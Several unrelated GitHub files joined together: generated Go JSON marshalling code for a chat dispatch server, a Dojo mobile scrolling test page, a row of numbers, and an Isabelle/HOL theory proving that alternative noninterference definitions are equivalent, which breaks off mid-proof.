out.RawByte('}') } func easyjson42239ddeDecodeGithubComKhliengDispatchServer31(in *jlexer.Lexer, out *ChannelSearch) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "q": out.Q = string(in.String()) case "start": out.Start = int(in.Int()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer31(out *jwriter.Writer, in ChannelSearch) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Q != "" { const prefix string = ",\"q\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Q)) } if in.Start != 0 { const prefix string = ",\"start\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Start)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v ChannelSearch) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer31(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v ChannelSearch) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer31(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *ChannelSearch) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer31(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *ChannelSearch) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer31(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer32(in *jlexer.Lexer, out *ChannelForward) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "old": out.Old = string(in.String()) case "new": out.New = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer32(out *jwriter.Writer, in ChannelForward) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Old != "" { const prefix string = ",\"old\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Old)) } if in.New != "" { const prefix string = ",\"new\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.New)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v ChannelForward) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer32(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v ChannelForward) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer32(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *ChannelForward) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer32(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *ChannelForward) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer32(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer33(in *jlexer.Lexer, out *Away) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "message": out.Message = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer33(out *jwriter.Writer, in Away) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Message != "" { const prefix string = ",\"message\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Message)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Away) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer33(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Away) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer33(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Away) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer33(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Away) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer33(l, v) }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no"/> <meta name="apple-mobile-web-app-capable" content="yes"/> <title>ScrollableView-v-vh-af</title> <script type="text/javascript" src="../deviceTheme.js" data-dojo-config="mblThemeFiles: ['base']"></script> <script type="text/javascript" src="../../../dojo/dojo.js" data-dojo-config="async: true, parseOnLoad: true, mblAlwaysHideAddressBar: true"></script> <script type="text/javascript"> require([ "dojox/mobile/parser", "dojox/mobile", "dojox/mobile/compat", "dojox/mobile/ScrollableView" ]); </script> <style> .lnk { font-size: 14px; color: #0B5199; text-decoration: none; } html,body{ height: 100%; overflow: hidden; } input{ width: 200px; } </style> </head> <body style="visibility:hidden;"> <div id="view1" data-dojo-type="dojox.mobile.ScrollableView"> <h1 data-dojo-type="dojox.mobile.Heading" data-dojo-props='fixed:"top"'>View Header Bar</h1> <h2 data-dojo-type="dojox.mobile.RoundRectCategory">Transition Effects</h2> <div data-dojo-type="dojox.mobile.RoundRect"> scrollDir: vertical<br> header: view-header<br> footer: application-footer<br> </div> <ul data-dojo-type="dojox.mobile.RoundRectList"> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-1.png"'> <input value="1"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-2.png"'> <input value="2"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-3.png"'> <input value="3"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-4.png"'> <input value="4"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-5.png"'> <input value="5"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-6.png"'> <input value="6"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-7.png"'> <input value="7"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-8.png"'> <input value="8"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-9.png"'> <input value="9"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-1.png"'> <input value="10"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-2.png"'> <input value="11"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-3.png"'> <input value="12"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-4.png"'> <input value="13"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-5.png"'> <input value="14"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-6.png"'> <input value="15"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-7.png"'> <input value="16"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-8.png"'> <input value="17"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-9.png"'> <input value="18"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-7.png"'> <input value="19"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-8.png"'> <input value="20"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-9.png"'> <input value="21"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-7.png"'> <input value="22"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-8.png"'> <input value="23"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-9.png"'> <input value="24"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-7.png"'> <input value="25"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-8.png"'> <input value="26"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-9.png"'> <input value="27"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-7.png"'> <input value="28"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-8.png"'> <input value="29"> </li> <li data-dojo-type="dojox.mobile.ListItem" data-dojo-props='icon:"images/i-icon-9.png"'> <input value="30"> </li> </ul> </div> <div id="view2" data-dojo-type="dojox.mobile.ScrollableView"> <h1 data-dojo-type="dojox.mobile.Heading" data-dojo-props='fixed:"top", back:"Home", moveTo:"view1"'>Search Result</h1> <ul data-dojo-type="dojox.mobile.RoundRectList" data-dojo-props='variableHeight:true'> <li data-dojo-type="dojox.mobile.ListItem" style="font-size:10px"> 1. <a href="#" class="lnk">Dojo: Traditional Karate-do Spirit</a><br> Sarah Connor Hardcover<br> Eligible for FREE Super Saver Shipping<br> <span style="color:red">$14.50 (50%)</span> In Stock<br> # (531) </li> <li data-dojo-type="dojox.mobile.ListItem" style="font-size:10px"> 2. <a href="#" class="lnk">Japanese Martial Arts Dojo</a><br> Martin Parker Hardcover<br> <span style="color:red">$14.00 (60%)</span> In Stock<br> # (173) </li> <li data-dojo-type="dojox.mobile.ListItem" style="font-size:10px"> 3. <a href="#" class="lnk">Total Solar Eclipse</a><br> Steven Young Hardcover<br> Get it by Mar. 2 if you order in the next <span style="color:green"><b>16 hours</b></span><br> Eligible for FREE Super Saver Shipping<br> <span style="color:red">$9.50 (62%)</span> In Stock<br> # (1199) </li> <li data-dojo-type="dojox.mobile.ListItem" style="font-size:10px"> 4. <a href="#" class="lnk">The History of Java Coffee</a><br> Marco Rodriguez Hardcover<br> <span style="color:blue">Not Available</span> </li> <li data-dojo-type="dojox.mobile.ListItem" style="font-size:10px"> 5. <a href="#" class="lnk">The Principles of Spider's Web</a><br> Melissa Morgan Hardcover<br> Eligible for FREE Super Saver Shipping<br> <span style="color:red">$12.00 (60%)</span> In Stock<br> # (1847) </li> </ul> </div> <h1 data-dojo-type="dojox.mobile.Heading" data-dojo-props='fixed:"bottom"' style="border-bottom:none;">Application Footer Bar</h1> </body> </html>
{ "pile_set_name": "Github" }
0 2 0 0 0 0 0 2 0 2 2 0 2 0 0 2 6 2 4 6 2 2 0 0 4 0 0 2 2 4 2 2 2 4 2 6 2 2 2 2 2 0 0 4 6 0 0 2 4 2 2 2 2 2 0 2 2 0 0 0 0 2 0 0 2 2 0 0 0 2 0 0 2 6 4 0 0 0 4 0 0 0 2 4 0 4 0 0 2 0 0 2 0 2 2 2 0 0 0 4 0 6 0 2 2 0 0 0 2 0 4 0 0 2 0 2 0 2 2 0 4 0 2 0 2 4 0 2 2 0 0 2 2 4 0 2 4 0 0 2 2 0 0 0 0 0 2 2 6 4 2 0 4 0 2 2 0 0 0 0 0 0 2 2 0 0 0 2 0 6 2 0 6 2 0 4 2 0 0 2 2 2 2 4 0 4 0 0 2 4 2 2 0 0 2 0 2 2 2 0 2 0 4 0 0 4 2 2 6 4 2 2 0 2 0 0 0 0 0 0 2 0 2 2 0 0 2 0 2 4 6 4 0 0 0 0 2 0 0 0 0 4 2 2 0 2 2 0 4 4 4 0 2 0 10 0 0 2 0 0 0 2 2 6 0 0 2 0 0 2 2 2 4 0 0 2 0 0 0 2 0 0 8 0 0 0 2 0
{ "pile_set_name": "Github" }
(* * Copyright 2020, Data61, CSIRO (ABN 41 687 119 230) * * SPDX-License-Identifier: GPL-2.0-only *) theory Noninterference_Base_Alternatives imports Noninterference_Base "Lib.Eisbach_Methods" begin text \<open> This theory explores a bunch of alternative definitions for the @{term sources} and @{term ipurge} functions that are the basis of our noninterference formulation and shows that they all turn out to yield equivalent noninterference properties. \<close> context noninterference_system begin (* the following definition turns out to yield an information flow property equivalent to the above one -- see below *) primrec xources :: "'e list \<Rightarrow> 's \<Rightarrow> 'd \<Rightarrow> 'd set" where xources_Nil: "xources [] s u = {u}"| xources_Cons: "xources (a#as) s u = (\<Inter>{xources as s' u| s'. (s,s') \<in> Step a}) \<union> {w. w = dom a s \<and> (\<forall> s'. (s,s') \<in> Step a \<longrightarrow> (\<exists> v. dom a s \<leadsto> v \<and> v \<in> xources as s' u))}" lemma in_xources_ConsD: "x \<in> (xources (a # as) s u) \<Longrightarrow> (\<forall> s'. (s,s') \<in> Step a \<longrightarrow> x \<in> xources as s' u) \<or> (x = dom a s \<and> (\<forall> s'. (s,s') \<in> Step a \<longrightarrow> (\<exists> v. dom a s \<leadsto> v \<and> v \<in> xources as s' u)))" by auto lemma in_xources_ConsI1: "\<lbrakk>\<forall> s'. (s,s') \<in> Step a \<longrightarrow> x \<in> xources as s' u\<rbrakk> \<Longrightarrow> x \<in> xources (a#as) s u" by auto lemma in_xources_ConsI2: "\<lbrakk>x = dom a s; \<forall> s'. (s,s') \<in> Step a \<longrightarrow> (\<exists> v. dom a s \<leadsto> v \<and> v \<in> xources as s' u)\<rbrakk> \<Longrightarrow> x \<in> xources (a#as) s u" by auto declare xources_Nil [simp del] declare xources_Cons [simp del] lemma xources_subset_xources_Cons: "\<Inter>{xources as s' u|s'. (s,s') \<in> Step a} \<subseteq> xources (a#as) s u" by(fastforce simp: xources_Cons) primrec gen_purgx :: "('e list \<Rightarrow> 's \<Rightarrow> 'd \<Rightarrow> 'd set) \<Rightarrow> 'd \<Rightarrow> 'e list \<Rightarrow> 's set \<Rightarrow> 'e list" where Nil : "gen_purgx sf u [] ss = []" | Cons: "gen_purgx sf u (a#as) ss = (if (\<forall>s\<in>ss. dom a s \<in> sf (a#as) s u) then a#gen_purgx sf u as (\<Union>s\<in>ss. {s'. (s,s') \<in> Step a}) else gen_purgx sf u as ss)" definition xpurge :: "'d \<Rightarrow> 'e list \<Rightarrow> 's set \<Rightarrow> 'e list" where "xpurge \<equiv> gen_purge xources" definition ipurgx :: "'d \<Rightarrow> 'e list \<Rightarrow> 's set \<Rightarrow> 'e list" where "ipurgx \<equiv> gen_purgx sources" definition xpurgx :: "'d \<Rightarrow> 'e list \<Rightarrow> 's set \<Rightarrow> 'e list" where "xpurgx \<equiv> gen_purgx xources" lemma xpurge_Nil: "xpurge u [] ss = []" by(auto simp: xpurge_def) lemma ipurgx_Nil: "ipurgx u [] ss = []" by(auto simp: ipurgx_def) lemma xpurgx_Nil: "xpurgx u [] ss = []" by(auto simp: xpurgx_def) lemma xpurge_Cons: "xpurge u (a#as) ss = (if (\<exists>s\<in>ss. dom a s \<in> xources (a#as) s u) then a#xpurge u as (\<Union>s\<in>ss. {s'. (s,s') \<in> Step a}) else xpurge u as ss)" by (auto simp: xpurge_def) lemma ipurgx_Cons: "ipurgx u (a#as) ss = (if (\<forall>s\<in>ss. dom a s \<in> sources (a#as) s u) then a#ipurgx u as (\<Union>s\<in>ss. {s'. (s,s') \<in> Step a}) else ipurgx u as ss)" by (auto simp: ipurgx_def) lemma xpurgx_Cons: "xpurgx u (a#as) ss = (if (\<forall>s\<in>ss. dom a s \<in> xources (a#as) s u) then a#xpurgx u as (\<Union>s\<in>ss. {s'. (s,s') \<in> Step a}) else xpurgx u as ss)" by (auto simp: xpurgx_def) definition xNonleakage_gen :: "bool" where "xNonleakage_gen \<equiv> \<forall>as s u t. reachable s \<and> reachable t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> s \<approx>(xources as s u)\<approx> t \<longrightarrow> uwr_equiv s as t as u" end context unwinding_system begin lemma xources_sources: "confidentiality_u \<Longrightarrow> reachable s \<longrightarrow> (xources as s u = sources as s u)" apply(induct as arbitrary: s) apply(simp add: xources_Nil sources_Nil) apply(simp add: sources_Cons xources_Cons) apply(rule impI) apply(rule un_eq) apply(rule sym) apply(simp only: Union_eq, simp only: UNION_eq[symmetric]) apply(simp only: Inter_eq, simp only: INTER_eq[symmetric]) apply(rule Un_eq_Int) apply (clarsimp simp: Step_def) apply(erule reachable_enabled) apply (clarsimp simp: Step_def) apply(erule reachable_enabled) apply clarsimp apply(drule_tac x=s'a in meta_spec, clarsimp simp: reachable_Step) apply(rule sources_eq) apply assumption apply(fastforce intro: sched_equiv_preserved uwr_refl) apply(fastforce intro: reachable_Step) apply(fastforce intro: reachable_Step) apply(rule Collect_cong) apply(rule conj_cong, rule refl) apply safe apply(cut_tac s=s and a=a in enabled_Step) apply assumption apply clarsimp apply(drule_tac x=s' in spec) apply clarsimp apply(rule_tac x=v in exI) apply clarsimp apply(rule_tac x=s' in exI) apply(drule_tac x=s' in meta_spec) apply(fastforce intro: reachable_Step) apply(rule_tac x=v in exI, clarsimp) apply(drule_tac x=s' in meta_spec) apply(clarsimp simp: reachable_Step) apply(rule subst[OF sources_eq]) apply assumption prefer 4 apply assumption apply(fastforce intro: sched_equiv_preserved uwr_refl) by(auto intro: reachable_Step) lemma xpurge_ipurge': "confidentiality_u \<Longrightarrow> (\<forall> s\<in>ss. reachable s) \<longrightarrow> xpurge u as ss = ipurge u as ss" apply(induct as arbitrary: ss) apply(simp add: xpurge_Nil ipurge_Nil) apply(clarsimp simp: ipurge_Cons xpurge_Cons xources_sources[rule_format] intro: reachable_Step | safe)+ apply(drule_tac x="\<Union>s\<in>ss. {s'. (s,s') \<in> Step a}" in meta_spec) apply(fastforce intro: reachable_Step) done lemma ipurgx_xpurge': "confidentiality_u \<Longrightarrow> (\<forall> s\<in>ss. reachable s) \<and> (\<exists>s. s \<in> ss) \<and> (\<forall> s s'. s\<in>ss \<and> s'\<in>ss \<longrightarrow> s\<sim>schedDomain\<sim>s') \<longrightarrow> ipurgx u as ss = xpurge u as ss" apply(induct as arbitrary: ss) apply(simp add: ipurgx_Nil xpurge_Nil) apply(clarsimp simp: xpurge_Cons ipurgx_Cons | safe)+ apply(drule_tac x="\<Union>s\<in>ss. {s'. (s,s') \<in> Step a}" in meta_spec) apply(erule impE) apply(rule conjI) apply(fastforce intro: reachable_Step) apply(rule conjI) apply(drule bspec, assumption, frule_tac a=a in enabled_Step) apply blast apply clarsimp apply(match conclusion in \<open>s' \<sim>schedDomain\<sim> t'\<close> for s' t' \<Rightarrow> \<open>match premises in \<open>(s,s') \<in> Step a\<close> and \<open>(t,t') \<in> Step a\<close> for a s t \<Rightarrow> \<open>rule sched_equiv_preserved[of s t]\<close>\<close>) apply assumption apply blast apply blast apply blast apply assumption apply assumption apply assumption apply(simp add: xources_sources) apply(simp add: xources_sources) apply(erule notE) apply(frule_tac s=s and t=sa in sources_eq, simp+) apply(erule ssubst) apply(subst schedIncludesCurrentDom) prefer 2 apply assumption apply blast done lemma ipurgx_xpurgx': "confidentiality_u \<Longrightarrow> (\<forall> s\<in>ss. reachable s) \<longrightarrow> ipurgx u as ss = xpurgx u as ss" apply(induct as arbitrary: ss) apply(simp add: ipurgx_Nil xpurgx_Nil) apply(clarsimp simp: xpurgx_Cons ipurgx_Cons | safe)+ apply(drule_tac x="\<Union>s\<in>ss. {s'. (s,s') \<in> Step a}" in meta_spec) apply(fastforce intro: reachable_Step) apply(simp add: xources_sources) apply(simp add: xources_sources) done lemma xpurge_ipurge: "confidentiality_u \<Longrightarrow> reachable s \<Longrightarrow> xpurge u as {s} = ipurge u as {s}" apply(subst xpurge_ipurge', auto) done lemma ipurgx_ipurge: "confidentiality_u \<Longrightarrow> reachable s \<Longrightarrow> ipurgx u as {s} = ipurge u as {s}" apply(subst ipurgx_xpurge', (simp add: uwr_refl)+) apply(subst xpurge_ipurge', auto) done lemma xpurgx_ipurge: "confidentiality_u \<Longrightarrow> reachable s \<Longrightarrow> xpurgx u as {s} = ipurge u as {s}" apply(subst ipurgx_xpurgx'[rule_format, THEN sym], simp+) apply(subst ipurgx_xpurge', (simp add: uwr_refl)+) apply(subst xpurge_ipurge', auto) done (* we have four different purge functions, and two different sources functions. So we should be able to make 8 different definitions of security. All of which are equivalent. One of those definitions is of course the one above. *) definition xNoninfluence_strong_uwr_xources_ipurge :: "bool" where "xNoninfluence_strong_uwr_xources_ipurge \<equiv> \<forall> u as bs s t. reachable s \<and> reachable t \<longrightarrow> s \<approx>(xources as s u)\<approx> t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> ipurge u as {s} = ipurge u bs {s} \<longrightarrow> uwr_equiv s as t bs u" definition xNoninfluence_strong_uwr_sources_xpurge :: "bool" where "xNoninfluence_strong_uwr_sources_xpurge \<equiv> \<forall> u as bs s t. reachable s \<and> reachable t \<longrightarrow> s \<approx>(sources as s u)\<approx> t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> xpurge u as {s} = xpurge u bs {s} \<longrightarrow> uwr_equiv s as t bs u" definition xNoninfluence_strong_uwr_xources_xpurge :: "bool" where "xNoninfluence_strong_uwr_xources_xpurge \<equiv> \<forall> u as bs s t. reachable s \<and> reachable t \<longrightarrow> s \<approx>(xources as s u)\<approx> t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> xpurge u as {s} = xpurge u bs {s} \<longrightarrow> uwr_equiv s as t bs u" definition xNoninfluence_strong_uwr_sources_ipurgx :: "bool" where "xNoninfluence_strong_uwr_sources_ipurgx \<equiv> \<forall> u as bs s t. reachable s \<and> reachable t \<longrightarrow> s \<approx>(sources as s u)\<approx> t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> ipurgx u as {s} = ipurgx u bs {s} \<longrightarrow> uwr_equiv s as t bs u" definition xNoninfluence_strong_uwr_xources_ipurgx :: "bool" where "xNoninfluence_strong_uwr_xources_ipurgx \<equiv> \<forall> u as bs s t. reachable s \<and> reachable t \<longrightarrow> s \<approx>(xources as s u)\<approx> t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> ipurgx u as {s} = ipurgx u bs {s} \<longrightarrow> uwr_equiv s as t bs u" definition xNoninfluence_strong_uwr_sources_xpurgx :: "bool" where "xNoninfluence_strong_uwr_sources_xpurgx \<equiv> \<forall> u as bs s t. reachable s \<and> reachable t \<longrightarrow> s \<approx>(sources as s u)\<approx> t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> xpurgx u as {s} = xpurgx u bs {s} \<longrightarrow> uwr_equiv s as t bs u" definition xNoninfluence_strong_uwr_xources_xpurgx :: "bool" where "xNoninfluence_strong_uwr_xources_xpurgx \<equiv> \<forall> u as bs s t. reachable s \<and> reachable t \<longrightarrow> s \<approx>(xources as s u)\<approx> t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> xpurgx u as {s} = xpurgx u bs {s} \<longrightarrow> uwr_equiv s as t bs u" (* The following perhaps feels more natural, but we show is equivalent. 'pg' here is for Pete Gammie who pushed me to prove this. *) definition Noninfluence_strong_uwr_pg :: "bool" where "Noninfluence_strong_uwr_pg \<equiv> \<forall> u as bs s t. reachable s \<and> reachable t \<longrightarrow> s \<approx>(sources as s u)\<approx> t \<longrightarrow> s \<sim>schedDomain\<sim> t \<longrightarrow> ipurge u as {s} = ipurge u bs {t} \<longrightarrow> uwr_equiv s as t bs u" lemma xNoninfluence_strong_uwr_xources_ipurge_Noninfluence_strong_uwr: "\<lbrakk>confidentiality_u_weak; integrity_u\<rbrakk> \<Longrightarrow> xNoninfluence_strong_uwr_xources_ipurge = Noninfluence_strong_uwr" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_ipurge_def Noninfluence_strong_uwr_def) apply(frule (1) confidentiality_u_weak) apply(simp add: xources_sources) done lemma xNoninfluence_strong_uwr_sources_xpurge_Noninfluence_strong_uwr: "\<lbrakk>confidentiality_u_weak; integrity_u\<rbrakk> \<Longrightarrow> xNoninfluence_strong_uwr_sources_xpurge = Noninfluence_strong_uwr" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_xpurge_def Noninfluence_strong_uwr_def) apply(frule (1) confidentiality_u_weak) apply(simp add: xpurge_ipurge) done lemma xNoninfluence_strong_uwr_xources_xpurge_Noninfluence_strong_uwr: "\<lbrakk>confidentiality_u_weak; integrity_u\<rbrakk> \<Longrightarrow> xNoninfluence_strong_uwr_xources_xpurge = Noninfluence_strong_uwr" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_xpurge_def Noninfluence_strong_uwr_def) apply(frule (1) confidentiality_u_weak) apply(simp add: xources_sources xpurge_ipurge) done lemma xNoninfluence_strong_uwr_sources_ipurgx_Noninfluence_strong_uwr: "\<lbrakk>confidentiality_u_weak; integrity_u\<rbrakk> \<Longrightarrow> xNoninfluence_strong_uwr_sources_ipurgx = Noninfluence_strong_uwr" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_ipurgx_def Noninfluence_strong_uwr_def) apply(frule (1) confidentiality_u_weak) apply(simp add: ipurgx_ipurge) done lemma xNoninfluence_strong_uwr_xources_ipurgx_Noninfluence_strong_uwr: "\<lbrakk>confidentiality_u_weak; integrity_u\<rbrakk> \<Longrightarrow> xNoninfluence_strong_uwr_xources_ipurgx = Noninfluence_strong_uwr" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_ipurgx_def Noninfluence_strong_uwr_def) apply(frule (1) confidentiality_u_weak) apply(simp add: xources_sources ipurgx_ipurge) done lemma xNoninfluence_strong_uwr_sources_xpurgx_Noninfluence_strong_uwr: "\<lbrakk>confidentiality_u_weak; integrity_u\<rbrakk> \<Longrightarrow> xNoninfluence_strong_uwr_sources_xpurgx = Noninfluence_strong_uwr" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_xpurgx_def Noninfluence_strong_uwr_def) apply(frule (1) confidentiality_u_weak) apply(simp add: xpurgx_ipurge) done lemma xNoninfluence_strong_uwr_xources_xpurgx_Noninfluence_strong_uwr: "\<lbrakk>confidentiality_u_weak; integrity_u\<rbrakk> \<Longrightarrow> xNoninfluence_strong_uwr_xources_xpurgx = Noninfluence_strong_uwr" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_xpurgx_def Noninfluence_strong_uwr_def) apply(frule (1) confidentiality_u_weak) apply(simp add: xpurgx_ipurge xources_sources) done lemma Noninfluence_strong_uwr_pg_Noninfluence_strong_uwr: "\<lbrakk>confidentiality_u_weak; integrity_u\<rbrakk> \<Longrightarrow> Noninfluence_strong_uwr_pg = Noninfluence_strong_uwr" apply(clarsimp simp: Noninfluence_strong_uwr_pg_def Noninfluence_strong_uwr_def) apply(frule (1) confidentiality_u_weak) apply(simp add: ipurge_eq) done lemma xources_Step: "\<lbrakk>reachable s; (dom a s, u) \<notin> policy\<rbrakk> \<Longrightarrow> xources [a] s u = {u}" apply(auto simp: xources_Cons xources_Nil enabled_Step dest: enabled_Step) done lemma xources_Step_2: "\<lbrakk>reachable s; (dom a s, u) \<in> policy\<rbrakk> \<Longrightarrow> xources [a] s u = {dom a s,u}" apply(auto simp: xources_Cons xources_Nil enabled_Step dest: enabled_Step) done lemma xNoninfluence_strong_uwr_xources_ipurge_confidentiality_u_weak: "xNoninfluence_strong_uwr_xources_ipurge \<Longrightarrow> confidentiality_u_weak" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_ipurge_def confidentiality_u_weak_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[a]" in spec) apply(drule_tac x=s in spec, drule_tac x=t in spec) apply(simp add: xources_Step_2 sameFor_dom_def uwr_equiv_def Step_def) done lemma xNoninfluence_strong_uwr_sources_xpurge_confidentiality_u_weak: "xNoninfluence_strong_uwr_sources_xpurge \<Longrightarrow> confidentiality_u_weak" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_xpurge_def confidentiality_u_weak_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[a]" in spec) apply(drule_tac x=s in spec, drule_tac x=t in spec) apply(simp add: sources_Step_2 sameFor_dom_def uwr_equiv_def Step_def) done lemma xNoninfluence_strong_uwr_xources_xpurge_confidentiality_u_weak: "xNoninfluence_strong_uwr_xources_xpurge \<Longrightarrow> confidentiality_u_weak" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_xpurge_def confidentiality_u_weak_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[a]" in spec) apply(drule_tac 